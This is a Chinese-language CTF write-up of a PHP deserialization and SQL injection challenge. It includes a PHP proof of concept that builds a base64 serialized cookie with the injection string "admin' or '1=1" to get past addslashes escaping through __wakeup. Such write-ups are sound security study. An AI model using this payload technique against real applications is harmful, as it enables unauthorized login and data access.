warmup(php反序列化+SQL注入)
-
题目界面
单看题目界面的话推测可能是SQL注入。
-
题解
题目涉及三个附近,主要从index.php和conn.php入手。
-
index.php中有两个功能,一个是检查请求中的Cookie,一个是检查用户提交的用户名和密码。
-
检查Cookie
首先要求Cookie中的变量是一个数组,然后检查其中的ip字段值是否与目标值相等。
-
检查用户名和密码
在这一部分中,服务器对输入的用户名和密码进行了转义处理:
addlashes()
,该函数针对的目标是单引号、双引号和nul值。
-
-
conn.php文件主要实现了数据库连接的逻辑
-
检查用户是否为admin,如果是的话显示flag
-
waf,可以看到过滤的非常严格,可以用到的基本只剩下单引号
-
存在一个魔术方法:_wakeup 该方法非常关键。
-
-
漏洞利用的整体思路为,构造Cookie中的序列化字段last_login_info,构成SQL注入。在index.php中调用unserialize方法后会自动调用魔术方法_wakeup,_wakeup实现连接数据库并检查连接的合法性,此时可以绕过index.php中的转义,从而使用单引号实现SQL注入。
需要注意的是,此时会调用两次数据库的连接,在检查用户提交字段的逻辑部分,index.php会调用sql→connect,这部分的输入依然会报错,但是已经不重要了,因为在Cookie的SQL注入已经达到了显示flag的目的。
<?php class SQL{ public $table = 'users'; public $username = "admin' or '1=1"; public $password = '123'; #此处是为了测试_wakeup调用的时机,可以删掉 public function __wakeup(){ if (!isset ($this->conn)) { echo "\n"; echo "!isset"; } else{ echo "\n"; echo "YES!"; } } } $sql = new SQL(); $wp = array( 'ip' => '39.144.137.29', 'sql' => $sql, ); #unserialize (base64_decode ($_COOKIE['last_login_info'])); echo serialize($wp); #这一部分是需要设置的Cookie字段 echo base64_encode(serialize ($wp)); $last_login_info = unserialize (base64_decode (base64_encode(serialize ($wp)))); echo "\n"; echo $last_login_info['ip']; ?>
-